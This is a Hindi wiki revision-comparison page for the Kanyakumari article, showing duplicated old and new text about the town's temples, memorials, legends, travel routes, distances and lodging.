"कन्याकुमारी" के अवतरणों में अंतर

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[[चित्र:Sunset-Kanyakumari.jpg|thumb|250px|सूर्यास्त का दृश्य, कन्याकुमारी]]
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{{सूचना बक्सा पर्यटन
'''कन्याकुमारी''' [[तमिलनाडु]] राज्य का एक शहर है। [[भारत]] के मस्तक पर मुकुट के समान सजे [[हिमालय]] के धवल शिखरों को निकट से देखने के बाद हर सैलानी के मन में भारतभूमि के अंतिम छोर को देखने की इच्छा भी उभरने लगती है।  
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|चित्र=Sunset-Kanyakumari.jpg
*भारत भूमि के सबसे दक्षिण बिंदु पर स्थित कन्याकुमारी में केवल एक तीर्थस्थान है बल्कि देशी विदेशी सैलानियों का एक बड़ा पर्यटन स्थल भी है। देश के मानचित्र के अंतिम छोर पर होने के कारण अधिकांश लोग इसे देख लेने की इच्छा रखते हैं।
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|चित्र का नाम=सूर्यास्त का दृश्य, कन्याकुमारी
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|विवरण=[[भारत]] भूमि के सबसे दक्षिण बिंदु पर स्थित कन्याकुमारी केवल एक नगर ही नहीं बल्कि देशी विदेशी सैलानियों का एक बड़ा पर्यटन स्थल भी है।
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|राज्य=[[तमिलनाडु]]
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|कब जाएँ=यह एक समुद्र तटीय शहर है इसलिए [[मानसून]] का यहाँ काफ़ी प्रभाव रहता है। इसलिए [[जून]] मध्य से [[सितंबर]] मध्य यहाँ घूमने के लिए उपयुक्त नहीं है। शेष हर मौसम में यहाँ आ सकते हैं।
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|कैसे पहुँचें=
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|हवाई अड्डा=तिरुअनंतपुरम हवाई अड्डा
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|रेलवे स्टेशन=कन्याकुमारी रेलवे स्टेशन
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|बस अड्डा=[[तिरुअनंतपुरम]], [[चेन्नई]], [[मदुरै]], [[रामेश्वरम]] आदि शहरों से कन्याकुमारी के लिए नियमित बस सेवा उपलब्ध है।
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|यातायात=बस, टैक्सी, कार आदि
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|क्या देखें=[[कुमारी अम्मन मंदिर]], [[विवेकानन्द रॉक मेमोरियल]], [[सुचिन्द्रम]] आदि
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|कहाँ ठहरें=होटल एवं धर्मशालाओं में ठहरा जा सकता है।
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|अन्य जानकारी=इस पवित्र स्थान को 'एलेक्जेंड्रिया ऑफ़ ईस्ट' की उपमा से विदेशी सैलानियों ने नवाजा है।[[अंग्रेज़|अंग्रेज़ों]] ने इस स्थल को 'केप कोमोरिन' कहा था।
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|बाहरी कड़ियाँ=[http://www.kanyakumari.tn.nic.in/ आधिकारिक वेबसाइट]
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|अद्यतन={{अद्यतन|17:42, 13 दिसम्बर 2013 (IST)}}
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'''कन्याकुमारी''' [[तमिलनाडु]] राज्य का एक शहर है। [[भारत]] के मस्तक पर मुकुट के समान सजे [[हिमालय]] के धवल शिखरों को निकट से देखने के बाद हर सैलानी के मन में भारतभूमि के अंतिम छोर को देखने की इच्छा भी उभरने लगती है। भारत भूमि के सबसे दक्षिण बिंदु पर स्थित कन्याकुमारी केवल एक नगर ही नहीं बल्कि देशी विदेशी सैलानियों का एक बड़ा पर्यटन स्थल भी है। देश के मानचित्र के अंतिम छोर पर होने के कारण अधिकांश लोग इसे देख लेने की इच्छा रखते हैं।
  
 
==अद्वितीय शहर==
 
==अद्वितीय शहर==
यह स्थान एक खाड़ी, एक सागर और एक महासागर का मिलन बिंदु है। अपार जलराशि से घिरे इस स्थल के पूर्व में [[बंगाल की खाड़ी]], पश्चिम में [[अरब सागर]] एवं दक्षिण में [[हिंद महासागर]] है। यहाँ आकर हर व्यक्ति को प्रकृति के अनंत स्वरूप के दर्शन होते हैं। सागर-त्रय के संगम की इस दिव्यभूमि पर मां भगवती देवी कुमारी के रूप में विद्यमान हैं। इस पवित्र स्थान को एलेक्जेंड्रिया ऑफ ईस्ट की उपमा से विदेशी सैलानियों ने नवाजा है। यहाँ पहुंच कर लगता है मानो पूर्व में सभ्यता की शुरुआत यहीं से हुई होगी। अंग्रेज़ों ने इस स्थल को केप कोमोरिन कहा था। [[तिरुअनंतपुरम]] के बेहद निकट होने के कारण सामान्यत: समझा जाता है कि यह शहर [[केरल]] राज्य में स्थित है, लेकिन कन्याकुमारी वास्तव में तमिलनाडु राज्य का एक ख़ास पर्यटन स्थल है।
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कन्याकुमारी [[दक्षिण भारत]] के महान शासकों [[चोल]], [[चेर वंश|चेर]], [[पांड्य राजवंश|पांड्य]] के अधीन रहा है। यहां के स्मारकों पर इन शासकों की छाप स्पष्ट दिखाई देती है। यह स्थान एक खाड़ी, एक [[सागर]] और एक [[महासागर]] का मिलन बिंदु है। अपार जलराशि से घिरे इस स्थल के पूर्व में [[बंगाल की खाड़ी]], पश्चिम में [[अरब सागर]] एवं दक्षिण में [[हिंद महासागर]] है। यहाँ आकर हर व्यक्ति को प्रकृति के अनंत स्वरूप के दर्शन होते हैं। सागर-त्रय के संगम की इस दिव्यभूमि पर मां भगवती देवी कुमारी के रूप में विद्यमान हैं। इस पवित्र स्थान को 'एलेक्जेंड्रिया ऑफ़ ईस्ट' की उपमा से विदेशी सैलानियों ने नवाजा है। यहाँ पहुंच कर लगता है मानो पूर्व में सभ्यता की शुरुआत यहीं से हुई होगी। [[अंग्रेज़|अंग्रेज़ों]] ने इस स्थल को 'केप कोमोरिन' कहा था। [[तिरुअनंतपुरम]] के बेहद निकट होने के कारण सामान्यत: समझा जाता है कि यह शहर [[केरल]] राज्य में स्थित है, लेकिन कन्याकुमारी वास्तव में तमिलनाडु राज्य का एक ख़ास पर्यटन स्थल है।
 
==प्रसिद्ध दर्शनीय स्थल==
 
==प्रसिद्ध दर्शनीय स्थल==
 
====कुमारी अम्मन मंदिर====
 
====कुमारी अम्मन मंदिर====
[[चित्र:Kanyakumari-Temple.jpg|thumb|250px|कन्याकुमारी मंदिर, कन्याकुमारी]]
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{{Main|कुमारी अम्मन मंदिर}}
कुमारी अम्मन मंदिर समुद्र तट पर स्थित है। पूर्वाभिमुख इस मंदिर का मुख्य द्वार केवल विशेष अवसरों पर ही खुलता है, इसलिए श्रद्धालुओं को उत्तरी द्वार से प्रवेश करना होता है। इस द्वार का एक छोटा-सा गोपुरम है। क़रीब 10 फुट ऊंचे परकोटे से घिरे वर्तमान मंदिर का निर्माण पांड्य राजाओं के काल में हुआ था। देवी कुमारी पांड्य राजाओं की अधिष्ठात्री देवी थीं। पौराणिक आख्यानों के अनुसार शक्ति की देवी वाणासुर का अंत करने के लिए अवतरित हुई थी। वाणासुर के अत्याचारों से जब धर्म का नाश होने लगा तो देवगण [[विष्णु|भगवान विष्णु]] की शरण में पहुंचे। उन्होंने देवताओं को बताया कि उस असुर का अंत केवल देवी पराशक्ति कर सकती हैं। भगवान विष्णु को यह बात विदित थी कि वाणासुर ने इतने वरदान पा लिए हैं कि उसे कोई नहीं मार सकता। लेकिन उसने यह वरदान नहीं मांगा कि एक कुंवारी कन्या उसका अंत नहीं कर सकती। देवताओं ने अपने तप से पराशक्ति को प्रसन्न किया और वाणासुर से मुक्ति दिलाने का वचन भी ले लिया। तब देवी ने एक कन्या के रूप में अवतार लिया। कन्या युवावस्था को प्राप्त हुई तो सुचिन्द्रम में उपस्थित [[शिव]] से उनका विवाह होना निश्चित हुआ क्योंकि देवी तो [[पार्वती देवी|पार्वती]] का ही रूप थीं। लेकिन [[नारद]] जी के गुप्त प्रयासों से उनका विवाह संपन्न न हो सका तथा उन्होंने आजीवन कुंवारी रहने का व्रत ले लिया। नारद जी को ज्ञात था कि देवी के अवतार का उद्देश्य वाणासुर को समाप्त करना है। यह उद्देश्य वे एक कुंवारी कन्या के रूप में ही पूरा कर सकेंगी। फिर वह समय भी आ गया। वाणासुर ने जब देवी कुंवारी के सौंदर्य के विषय में सुना तो वह उनके समक्ष विवाह का प्रस्ताव ले कर पहुंचा। देवी क्रोधित हो गई तो वाणासुर ने उन्हें युद्ध के लिए ललकारा। उस समय उन्होंने कन्या कुंवारी के रूप में अपने चक्र आयुध से वाणासुर का अंत किया। तब देवताओं ने समुद्र तट पर पराशक्ति के कन्याकुमारी स्वरूप का मंदिर स्थापित किया। इसी आधार पर यह स्थान भी कन्याकुमारी कहलाया तथा मंदिर को कुमारी अम्मन यानी कुमारी देवी का मंदिर कहा जाने लगा।
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कुमारी अम्मन मंदिर [[समुद्र]] तट पर स्थित है। पूर्वाभिमुख इस मंदिर का मुख्य द्वार केवल विशेष अवसरों पर ही खुलता है, इसलिए श्रद्धालुओं को उत्तरी द्वार से प्रवेश करना होता है। इस द्वार का एक छोटा-सा गोपुरम है। क़रीब 10 फुट ऊंचे परकोटे से घिरे वर्तमान मंदिर का निर्माण पांड्य राजाओं के काल में हुआ था। [[चित्र:Kanyakumari-Temple.jpg|thumb|left|कन्याकुमारी मंदिर, कन्याकुमारी]] देवी कुमारी पांड्य राजाओं की अधिष्ठात्री देवी थीं। पौराणिक आख्यानों के अनुसार शक्ति की देवी वाणासुर का अंत करने के लिए अवतरित हुई थी। वाणासुर के अत्याचारों से जब धर्म का नाश होने लगा तो देवगण [[विष्णु|भगवान विष्णु]] की शरण में पहुंचे। उन्होंने देवताओं को बताया कि उस असुर का अंत केवल देवी पराशक्ति कर सकती हैं। भगवान विष्णु को यह बात विदित थी कि वाणासुर ने इतने वरदान पा लिए हैं कि उसे कोई नहीं मार सकता। लेकिन उसने यह वरदान नहीं मांगा कि एक कुंवारी कन्या उसका अंत नहीं कर सकती। देवताओं ने अपने तप से पराशक्ति को प्रसन्न किया और वाणासुर से मुक्ति दिलाने का वचन भी ले लिया। तब देवी ने एक कन्या के रूप में अवतार लिया। कन्या युवावस्था को प्राप्त हुई तो [[सुचिन्द्रम]] में उपस्थित [[शिव]] से उनका विवाह होना निश्चित हुआ क्योंकि देवी तो [[पार्वती देवी|पार्वती]] का ही रूप थीं। लेकिन [[नारद]] जी के गुप्त प्रयासों से उनका विवाह संपन्न न हो सका तथा उन्होंने आजीवन कुंवारी रहने का व्रत ले लिया। नारद जी को ज्ञात था कि देवी के अवतार का उद्देश्य वाणासुर को समाप्त करना है। यह उद्देश्य वे एक कुंवारी कन्या के रूप में ही पूरा कर सकेंगी। फिर वह समय भी आ गया। वाणासुर ने जब देवी कुंवारी के सौंदर्य के विषय में सुना तो वह उनके समक्ष विवाह का प्रस्ताव ले कर पहुंचा। देवी क्रोधित हो गई तो वाणासुर ने उन्हें युद्ध के लिए ललकारा। उस समय उन्होंने कन्या कुंवारी के रूप में अपने चक्र आयुध से वाणासुर का अंत किया। तब [[देवता|देवताओं]] ने समुद्र तट पर पराशक्ति के कन्याकुमारी स्वरूप का मंदिर स्थापित किया। इसी आधार पर यह स्थान भी कन्याकुमारी कहलाया तथा मंदिर को कुमारी अम्मन यानी कुमारी देवी का मंदिर कहा जाने लगा।
  
माना जाता है कि [[चैतन्य महाप्रभु]] कुमारी अम्मन मंदिर में जलयात्रा पर्व पर आए थे। यहाँ मंदिर में पुरुषों को ऊपरी वस्त्र यानी शर्ट एवं बनियान उतार कर जाना होता है। सागर तट से कुछ दूरी पर मध्य में दो चट्टानें नज़र आती हैं। दक्षिण पूर्व में स्थित इन चट्टानों में से एक चट्टान पर विशाल प्रतिमा पर्यटकों का ध्यान आकर्षित करती है। वह प्रतिमा प्रसिद्ध तमिल संत कवि तिरुवल्लुवर की है। वह आधुनिक मूर्तिशिल्प 5000 शिल्पकारों की मेहनत से बन कर तैयार हुआ था। इसकी ऊंचाई 133 फुट है, जो कि तिरुवल्लुवर द्वारा रचित काव्य ग्रंथ तिरुवकुरल के 133 अध्यायों का प्रतीक है।
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माना जाता है कि [[चैतन्य महाप्रभु]] कुमारी अम्मन मंदिर में जलयात्रा पर्व पर आए थे। यहाँ मंदिर में पुरुषों को ऊपरी वस्त्र यानी शर्ट एवं बनियान उतार कर जाना होता है। सागर तट से कुछ दूरी पर मध्य में दो चट्टानें नज़र आती हैं। दक्षिण पूर्व में स्थित इन चट्टानों में से एक चट्टान पर विशाल प्रतिमा पर्यटकों का ध्यान आकर्षित करती है। वह प्रतिमा प्रसिद्ध तमिल संत कवि [[तिरुवल्लुवर]] की है। वह आधुनिक मूर्तिशिल्प 5000 शिल्पकारों की मेहनत से बन कर तैयार हुआ था। इसकी ऊंचाई 133 फुट है, जो कि तिरुवल्लुवर द्वारा रचित काव्य ग्रंथ तिरुवकुरल के 133 अध्यायों का प्रतीक है।
[[चित्र:Vivekananda-Rock-Memorial.jpg|thumb|250px|[[विवेकानन्द रॉक मेमोरियल]], कन्याकुमारी]]
 
====स्वामी विवेकानंद का स्मृतिशेष====
 
समुद्र में उभरी दूसरी चट्टान पर दूर से ही एक मंडप नज़र आता है। यह मंडप दरअसल विवेकानंद रॉक मेमोरियल है। 1892 में [[स्वामी विवेकानंद]] कन्याकुमारी आए थे। एक दिन वे तैर कर इस विशाल शिला पर पहुंच गए। इस निर्जन स्थान पर साधना के बाद उन्हें जीवन का लक्ष्य एवं लक्ष्य प्राप्ति हेतु मार्ग दर्शन प्राप्त हुआ। विवेकानंद के उस अनुभव का लाभ पूरे विश्व को हुआ, क्योंकि इसके कुछ समय बाद ही वे शिकागो सम्मेलन में भाग लेने गए थे। इस सम्मेलन में भाग लेकर उन्होंने [[भारत]] का नाम ऊंचा किया था। उनके अमर संदेशों को साकार रूप देने के लिए 1970 में उस विशाल शिला पर एक भव्य स्मृति भवन का निर्माण किया गया। समुद्र की लहरों से घिरी इस शिला तक पहुंचना भी एक अलग अनुभव है। स्मारक भवन का मुख्य द्वार अत्यंत सुंदर है। इसका वास्तुशिल्प [[अजंता की गुफ़ाएं|अजंता]]-[[एलोरा की गुफ़ाएं|एलोरा]] की गुफाओं के प्रस्तर शिल्पों से लिया गया लगता है। लाल पत्थर से निर्मित स्मारक पर 70 फुट ऊंचा गुंबद है। भवन के अंदर चार फुट से ऊंचे प्लेटफॉर्म पर परिव्राजक संत स्वामी विवेकानंद की प्रभावशाली मूर्ति है। यह मूर्ति कांसे की बनी है जिसकी ऊंचाई साढ़े आठ फुट है। यह मूर्ति इतनी प्रभावशाली है कि इसमें स्वामी जी का व्यक्तित्व एकदम सजीव प्रतीत होता है।
 
 
[[चित्र:Gandhi-Mandapam.jpg|thumb|250px|महात्मा गाँधी स्मारक, कन्याकुमारी|left]]
 
[[चित्र:Gandhi-Mandapam.jpg|thumb|250px|महात्मा गाँधी स्मारक, कन्याकुमारी|left]]
 
 
====महात्मा गाँधी स्मारक====
 
====महात्मा गाँधी स्मारक====
तीन सागरों का संगम स्थल होने के कारण हमारी धरती का यह छोर एक पवित्र स्थान है। इसलिए राष्ट्रपिता [[महात्मा गांधी]] के अस्थि अवशेषों का एक अंश समुद्र संगम पर भी प्रवाहित किया गया था। समुद्र तट पर जिस जगह उनका अस्थि कलश लोगों के दर्शनार्थ रखा गया था, वहां आज एक सुंदर स्मारक है, जिसे गांधी मंडप कहते हैं। मंडप में गांधी जी के संदेश एवं उनके जीवन से संबंधित महत्त्वपूर्ण घटनाओं के चित्र प्रदर्शित हैं। स्मारक के गुंबद के नीचे वह स्थान एक पीठ के रूप में है, जहां कलश रखा गया था। यह शिल्प कौशल का कमाल है कि प्रतिवर्ष गांधी जी के जन्मदिवस दो अक्टूबर को दोपहर के समय छत के छिद्र से सूर्य की किरणें सीधी इस पीठ पर पड़ती हैं। गांधी मंडप के निकट ही मणि मंडप स्थित है। यह [[तमिलनाडु]] के भूतपूर्व मुख्यमंत्री [[कामराज]] का स्मारक है। कन्याकुमारी का सेंट मेरी चर्च भी एक दर्शनीय स्थान है। इसकी ऊंची इमारत विवेकानंद मेमोरियल से आते हुए बोट से भी नज़र आती है।
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तीन सागरों का [[संगम]] स्थल होने के कारण हमारी धरती का यह छोर एक पवित्र स्थान है। इसलिए राष्ट्रपिता [[महात्मा गांधी]] के अस्थि [[अवशेष|अवशेषों]] का एक अंश समुद्र संगम पर भी प्रवाहित किया गया था। समुद्र तट पर जिस जगह उनका अस्थि कलश लोगों के दर्शनार्थ रखा गया था, वहां आज एक सुंदर स्मारक है, जिसे गांधी मंडप कहते हैं। मंडप में गांधी जी के संदेश एवं उनके जीवन से संबंधित महत्त्वपूर्ण घटनाओं के चित्र प्रदर्शित हैं। स्मारक के गुंबद के नीचे वह स्थान एक पीठ के रूप में है, जहां कलश रखा गया था। यह शिल्प कौशल का कमाल है कि प्रतिवर्ष गांधी जी के जन्मदिवस [[2 अक्टूबर]] को दोपहर के समय छत के छिद्र से [[सूर्य]] की किरणें सीधी इस पीठ पर पड़ती हैं। गांधी मंडप के निकट ही मणि मंडप स्थित है। यह [[तमिलनाडु]] के भूतपूर्व मुख्यमंत्री [[कामराज]] का स्मारक है। कन्याकुमारी का सेंट मेरी चर्च भी एक दर्शनीय स्थान है। इसकी ऊंची इमारत विवेकानंद मेमोरियल से आते हुए बोट से भी नज़र आती है।
 
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====विवेकानन्द रॉक मेमोरियल====
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[[चित्र:Vivekananda-Rock-Memorial.jpg|thumb|250px|[[विवेकानन्द रॉक मेमोरियल]], कन्याकुमारी]]
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{{main|विवेकानन्द रॉक मेमोरियल}}
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समुद्र में उभरी दूसरी चट्टान पर दूर से ही एक मंडप नज़र आता है। यह मंडप दरअसल विवेकानंद रॉक मेमोरियल है। [[1892]] में [[स्वामी विवेकानंद]] कन्याकुमारी आए थे। एक दिन वे तैर कर इस विशाल शिला पर पहुंच गए। इस निर्जन स्थान पर [[साधना]] के बाद उन्हें जीवन का लक्ष्य एवं लक्ष्य प्राप्ति हेतु मार्ग दर्शन प्राप्त हुआ। विवेकानंद के उस अनुभव का लाभ पूरे विश्व को हुआ, क्योंकि इसके कुछ समय बाद ही वे [[शिकागो]] सम्मेलन में भाग लेने गए थे। इस सम्मेलन में भाग लेकर उन्होंने [[भारत]] का नाम ऊंचा किया था। उनके अमर संदेशों को साकार रूप देने के लिए [[1970]] में उस विशाल शिला पर एक भव्य स्मृति भवन का निर्माण किया गया। समुद्र की लहरों से घिरी इस शिला तक पहुंचना भी एक अलग अनुभव है। स्मारक भवन का मुख्य द्वार अत्यंत सुंदर है। इसका वास्तुशिल्प [[अजंता की गुफ़ाएं|अजंता]]-[[एलोरा की गुफ़ाएं|एलोरा]] की गुफाओं के प्रस्तर शिल्पों से लिया गया लगता है। लाल पत्थर से निर्मित स्मारक पर 70 फुट ऊंचा गुंबद है। भवन के अंदर चार फुट से ऊंचे प्लेटफॉर्म पर परिव्राजक संत स्वामी विवेकानंद की प्रभावशाली मूर्ति है। यह मूर्ति कांसे की बनी है जिसकी ऊंचाई साढ़े आठ फुट है। यह मूर्ति इतनी प्रभावशाली है कि इसमें स्वामी जी का व्यक्तित्व एकदम सजीव प्रतीत होता है।
 
====तिरुवल्लुवर प्रतिमा====
 
====तिरुवल्लुवर प्रतिमा====
 
[[चित्र:Thiruvalluvar-Statue-Kanyakumari.jpg|thumb|250px|थिरुवेल्लुवर प्रतिमा, कन्याकुमारी]]
 
[[चित्र:Thiruvalluvar-Statue-Kanyakumari.jpg|thumb|250px|थिरुवेल्लुवर प्रतिमा, कन्याकुमारी]]
 
सागर तट से कुछ दूरी पर मध्य में दो चट्टानें नज़र आती हैं। दक्षिण पूर्व में स्थित इन चट्टानों में से एक चट्टान पर विशाल प्रतिमा पर्यटकों का ध्यान आकर्षित करती है। वह प्रतिमा प्रसिद्ध तमिल संत कवि [[तिरुवल्लुवर]] की है। वह आधुनिक मूर्तिशिल्प 5000 शिल्पकारों की मेहनत से बन कर तैयार हुआ था। इसकी ऊंचाई 133 फुट है, जो कि तिरुवल्लुवर द्वारा रचित काव्य ग्रंथ तिरुवकुरल के 133 अध्यायों का प्रतीक है।
 
सागर तट से कुछ दूरी पर मध्य में दो चट्टानें नज़र आती हैं। दक्षिण पूर्व में स्थित इन चट्टानों में से एक चट्टान पर विशाल प्रतिमा पर्यटकों का ध्यान आकर्षित करती है। वह प्रतिमा प्रसिद्ध तमिल संत कवि [[तिरुवल्लुवर]] की है। वह आधुनिक मूर्तिशिल्प 5000 शिल्पकारों की मेहनत से बन कर तैयार हुआ था। इसकी ऊंचाई 133 फुट है, जो कि तिरुवल्लुवर द्वारा रचित काव्य ग्रंथ तिरुवकुरल के 133 अध्यायों का प्रतीक है।
  
====सुचिंद्रम====
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====नागराज मंदिर====
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सुचिंद्रम से 8 किलोमीटर दूरी पर नागरकोविल शहर है। यह शहर नागराज मंदिर के लिए प्रसिद्ध है। इस मंदिर का वैशिष्ट्य देखते ही बनता है। देखने में यह मंदिर [[चीन]] की वास्तुशैली के [[बौद्ध विहार]] जैसा प्रतीत होता है। मंदिर में नागराज की मूर्ति आधारतल में अवस्थित है। यहाँ नाग देवता के साथ भगवान विष्णु एवं भगवान शिव भी उपस्थित हैं। मंदिर के स्तंभों पर [[तीर्थंकर|जैन तीर्थकरों]] की प्रतिमा उकेरी नज़र आती है। नागरकोविल एक छोटा-सा व्यावसायिक शहर है। इसलिए यहाँ हर प्रकार की सुविधाएं उपलब्ध हैं।
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====सुचिन्द्रम====
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{{main|सुचिन्द्रम}}
 
कन्याकुमारी के निकट सुचिन्द्रम नामक एक तीर्थ है, जहां धार्मिक आस्था श्रद्धालुओं को खींच लाती है। इस स्थान पर भव्य स्थानुमलयन मंदिर है। यह मंदिर [[ब्रह्मा]], [[विष्णु]] एवं [[शिव|महेश]] की त्रिमूर्ति को समर्पित है।  
 
कन्याकुमारी के निकट सुचिन्द्रम नामक एक तीर्थ है, जहां धार्मिक आस्था श्रद्धालुओं को खींच लाती है। इस स्थान पर भव्य स्थानुमलयन मंदिर है। यह मंदिर [[ब्रह्मा]], [[विष्णु]] एवं [[शिव|महेश]] की त्रिमूर्ति को समर्पित है।  
[[चित्र:Suchindram-Thanumalayar-Kanyakumari.jpg|thumb|250px|सुचिन्द्रम तीर्थ, कन्याकुमारी|left]]
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[[चित्र:Suchindram-Thanumalayar-Kanyakumari.jpg|thumb|250px|सुचिन्द्रम तीर्थ, कन्याकुमारी|left]] यह त्रिमूर्ति वहां एक लिंग के रूप में विराजमान है। मंदिर का निर्माण 9वीं शताब्दी में हुआ माना जाता है। उस काल के कुछ [[शिलालेख]] मंदिर में मौजूद हैं। 17वीं शताब्दी में इस मंदिर को नया रूप दिया गया था। इस मंदिर में भगवान विष्णु की एक अष्टधातु की प्रतिमा एवं पवनपुत्र [[हनुमान]] की 18 फुट ऊंची प्रतिमा विशेष रूप से दर्शनीय है। मंदिर का सप्तसोपान गोपुरम भी भक्तों को प्रभावित करता है। मंदिर के निकट ही एक सरोवर है। जिसके मध्य एक मंडप है। सुचिन्द्रम कन्याकुमारी से मात्र 13 किमी दूर है। यह रास्ता नारियल के कुंचों से भरा है।
यह त्रिमूर्ति वहां एक लिंग के रूप में विराजमान है। मंदिर का निर्माण 9वीं शताब्दी में हुआ माना जाता है। उस काल के कुछ शिलालेख मंदिर में मौजूद हैं। 17वीं शताब्दी में इस मंदिर को नया रूप दिया गया था। इस मंदिर में भगवान विष्णु की एक अष्टधातु की प्रतिमा एवं पवनपुत्र [[हनुमान]] की 18 फुट ऊंची प्रतिमा विशेष रूप से दर्शनीय है। मंदिर का सप्तसोपान गोपुरम भी भक्तों को प्रभावित करता है। मंदिर के निकट ही एक सरोवर है। जिसके मध्य एक मंडप है। सुचिन्द्रम कन्याकुमारी से मात्र 13 किमी दूर है। यह रास्ता नारियल के कुंचों से भरा है।
 
 
 
====नागराज मंदिर====
 
सुचिंद्रम से 8 किलोमीटर दूरी पर नागरकोविल शहर है। यह शहर नागराज मंदिर के लिए प्रसिद्ध है। इस मंदिर का वैशिष्ट्य देखते ही बनता है। देखने में यह मंदिर [[चीन]] की वास्तुशैली के बौद्ध विहार जैसा प्रतीत होता है। मंदिर में नागराज की मूर्ति आधारतल में अवस्थित है। यहाँ नाग देवता के साथ भगवान विष्णु एवं भगवान शिव भी उपस्थित हैं। मंदिर के स्तंभों पर [[तीर्थंकर|जैन तीर्थकरों]] की प्रतिमा उकेरी नज़र आती है। नागरकोविल एक छोटा-सा व्यावसायिक शहर है। इसलिए यहाँ हर प्रकार की सुविधाएं उपलब्ध हैं।
 
  
 
==सामान्य जानकारी==
 
==सामान्य जानकारी==
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यहाँ [[तमिल भाषा|तमिल]] एवं [[मलयालम भाषा]] बोली जाती है। लेकिन पर्यटन स्थल होने के कारण [[हिन्दी भाषा|हिन्दी]] एवं [[अंग्रेज़ी]] जानने वाले लोग भी मिल जाते हैं। यहाँ के दर्शनीय स्थल पैदल ही देखे जा सकते हैं। बस स्टैंड एवं रेलवे स्टेशन बाज़ार और होटलों से अधिक दूर नहीं है।
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;कब जाएँ
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यह एक समुद्र तटीय शहर है इसलिए [[मानसून]] का यहाँ काफ़ी प्रभाव रहता है। इसलिए [[जून]] मध्य से [[सितंबर]] मध्य यहाँ घूमने के लिए उपयुक्त नहीं है। शेष हर मौसम में यहाँ आ सकते हैं।
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====कैसे जाएँ====
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;रेल मार्ग-
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कन्याकुमारी रेल मार्ग द्वारा [[जम्मू]], [[दिल्ली]], [[मुंबई]], [[चेन्नई]], [[मदुरै]], [[तिरुअनंतपुरम]], [[एरनाकुलम]] से जुड़ा है। दिल्ली से यह यात्रा 60 घंटे, जम्मूतवी से 74 घंटे, मुंबई से 48 घंटे एवं तिरुअनंतपुरम से ढाई घंटे की है।
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;बस मार्ग-
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तिरुअनंतपुरम, चेन्नई, मदुरै, रामेश्वरम आदि शहरों से कन्याकुमारी के लिए नियमित बस सेवा उपलब्ध है।
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;वायु मार्ग-
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कन्याकुमारी का निकटतम हवाई अड्डा तिरुअनंतपुरम में है। वहां के लिए दिल्ली, मुंबई, [[कोलकाता]], चेन्नई से सीधी उड़ाने हैं।
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====प्रमुख स्थानों से दूरी====
 
[[चित्र:Kanyakumari-Railway-Station.jpg|thumb|250px|कन्याकुमारी रेलवे स्टेशन]]
 
[[चित्र:Kanyakumari-Railway-Station.jpg|thumb|250px|कन्याकुमारी रेलवे स्टेशन]]
यहाँ [[तमिल भाषा|तमिल]] एवं [[मलयालम भाषा]] बोली जाती है। लेकिन पर्यटन स्थल होने के कारण [[हिन्दी भाषा|हिन्दी]] एवं अंग्रेज़ी जानने वाले लोग भी मिल जाते हैं। यहाँ के दर्शनीय स्थल पैदल ही देखे जा सकते हैं। बस स्टैंड एवं रेलवे स्टेशन बाज़ार और होटलों से अधिक दूर नहीं है।
 
 
'''कब जायें'''
 
 
यह एक समुद्र तटीय शहर है इसलिए मानसून का यहाँ काफ़ी प्रभाव रहता है। इसलिए जून मध्य से सितंबर मध्य यहाँ घूमने के लिए उपयुक्त नहीं है। शेष हर मौसम में यहाँ आ सकते हैं।
 
 
'''कैसे जायें'''
 
 
'''रेल मार्ग-''' कन्याकुमारी रेल मार्ग द्वारा [[जम्मू]], [[दिल्ली]], [[मुंबई]], [[चेन्नई]], [[मदुरै]], [[तिरुअनंतपुरम]], [[एरनाकुलम]] से जुड़ा है। दिल्ली से यह यात्रा 60 घंटे, जम्मूतवी से 74 घंटे, मुंबई से 48 घंटे एवं तिरुअनंतपुरम से ढाई घंटे की है।
 
 
'''बस मार्ग-''' तिरुअनंतपुरम, चेन्नई, मदुरै, रामेश्वरम आदि शहरों से कन्याकुमारी के लिए नियमित बस सेवा उपलब्ध है।
 
 
'''वायु मार्ग-''' कन्याकुमारी का निकटतम हवाई अड्डा तिरुअनंतपुरम में है। वहां के लिए दिल्ली, मुंबई, [[कोलकाता]], चेन्नई से सीधी उड़ाने हैं।
 
 
'''प्रमुख स्थानों से दूरी'''
 
 
 
*[[दिल्ली]] से 2850 किमी
 
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*[[मुंबई]] से 2155 किमी
 
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*[[जम्मू]] से 3734 किमी
 
*[[जम्मू]] से 3734 किमी
 
*[[मदुरै]] से 260 किमी
 
*[[मदुरै]] से 260 किमी
*[[रामेश्वरम]] 302 किमी
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*[[रामेश्वरम]] से 302 किमी
*नागरकोविल 20 किमी
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*[[नागरकोइल|नागरकोविल]] से 20 किमी
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====कहाँ ठहरें
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होटल तमिलनाडु, केरल गेस्ट हाउस, होटल समुद्र, होटल शिंगार इंटरनेशनल, होटल केप रेसीडेंसी, होटल सरवना, शंकर गेस्ट हाउस, विवेकानंद पुरम।
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'''कहाँ ठहरें'''
 
  
होटल तमिलनाडु, केरल गेस्ट हाउस, होटल समुद्र, होटल शिंगार इंटरनेशनल, होटल केप रेसीडेंसी, होटल सरवना, शंकर गेस्ट हाउस, विवेकानंद पुरम।
 
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चित्र:Gandhi-Mandapam-Kanyakumari.jpg|गाँधी स्मारक, कन्याकुमारी
 
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==संबंधित लेख==
 
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12:12, 13 दिसम्बर 2013 का अवतरण

कन्याकुमारी
सूर्यास्त का दृश्य, कन्याकुमारी
विवरण भारत भूमि के सबसे दक्षिण बिंदु पर स्थित कन्याकुमारी केवल एक नगर ही नहीं बल्कि देशी विदेशी सैलानियों का एक बड़ा पर्यटन स्थल भी है।
राज्य तमिलनाडु
ज़िला कन्याकुमारी
भौगोलिक स्थिति 8° 4′ 40.8″ उत्तर, 77° 32′ 27.6″ पूर्व
कब जाएँ यह एक समुद्र तटीय शहर है इसलिए मानसून का यहाँ काफ़ी प्रभाव रहता है। इसलिए जून मध्य से सितंबर मध्य यहाँ घूमने के लिए उपयुक्त नहीं है। शेष हर मौसम में यहाँ आ सकते हैं।
हवाई अड्डा तिरुअनंतपुरम हवाई अड्डा
रेलवे स्टेशन कन्याकुमारी रेलवे स्टेशन
बस अड्डा तिरुअनंतपुरम, चेन्नई, मदुरै, रामेश्वरम आदि शहरों से कन्याकुमारी के लिए नियमित बस सेवा उपलब्ध है।
यातायात बस, टैक्सी, कार आदि
क्या देखें कुमारी अम्मन मंदिर, विवेकानन्द रॉक मेमोरियल, सुचिन्द्रम आदि
कहाँ ठहरें होटल एवं धर्मशालाओं में ठहरा जा सकता है।
एस.टी.डी. कोड 91-4651 और 91-4652
ए.टी.एम लगभग सभी
पिन कोड 629
वाहन पंजीयन संख्या TN 74 और TN 75
